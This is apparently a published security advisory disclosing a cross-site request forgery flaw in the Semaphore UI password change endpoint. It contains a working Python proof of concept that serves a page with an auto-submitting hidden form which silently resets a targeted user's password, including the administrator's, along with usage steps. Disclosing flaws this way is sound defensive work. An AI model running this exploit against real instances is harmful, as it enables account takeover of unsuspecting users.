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CSRF vulnerability on password change endpoint - No CSRF token or password confirmation

High
fiftin published GHSA-8cj9-r88m-8945 Jul 13, 2026

Package

No package listed

Affected versions

<=18.2

Patched versions

None

Description

Summary

The password change forms is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 18.2.0.

Note: I previously reported this issue via email to the security contact last week, but have not yet received an acknowledgment. I'm opening this advisory to ensure it reaches the team through the appropriate channel.

Details

The password change endpoint of Semaphore UI does not implement any CSRF protection:

  • No CSRF token required
  • No current password confirmation required
  • Authentication relies solely on a session cookie (semaphore) with no SameSite enforcement

A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.

PoC

To reproduce the exploit. You can use the following python script :

import logging
import argparse
import time
import sys
import os 
from http.server import SimpleHTTPRequestHandler, HTTPServer

logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')

def forge_malicious_page(target, user_id, newpassword):
    return f"""
        <html>
        <body>

        <form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">

        <input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}'  value='//}}' />
        </form>
        
        <script>
        document.getElementById("CSRF_POC").submit();
        </script>

        </body>
        </html>
    """;


parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri",  help="Base uri to target", required=True)
parser.add_argument("-n","--new_password",  help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port",  help="Port to run server", default=1337)
args = parser.parse_args()


class Handler(SimpleHTTPRequestHandler):
    
     def do_GET(self):
        logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
                (self.client_address[0], self.command, self.path,
                self.path.split('?')[1] if '?' in self.path else 'None'))
        content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(content)))
        self.end_headers()
        self.wfile.write(content)


httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))

httpd.serve_forever()

Example :

python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337

1 - Run the previous script with the url of the targetted semaphore instance and the id of the targetted user. (We will change this user's password.). The script will serve a malicious webpage on port 1337.
2 - Connect to semaphore UI in another tab with the targetted user.
3 - In the same browser, visit the malicious website (ex: localhost:1337).
4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targetted user password. You can now connect to the targetted user with the password passwordchanged.

Impact

This is a Cross-Site Request Forgery vulnerability, An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.

CWEs

  • CWE-352 – Cross-Site Request Forgery (CSRF)
  • CWE-620 – Unverified Password Change

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L

CVE ID

No known CVE

Weaknesses

Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. Learn more on MITRE.

Unverified Password Change

When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication. Learn more on MITRE.

Credits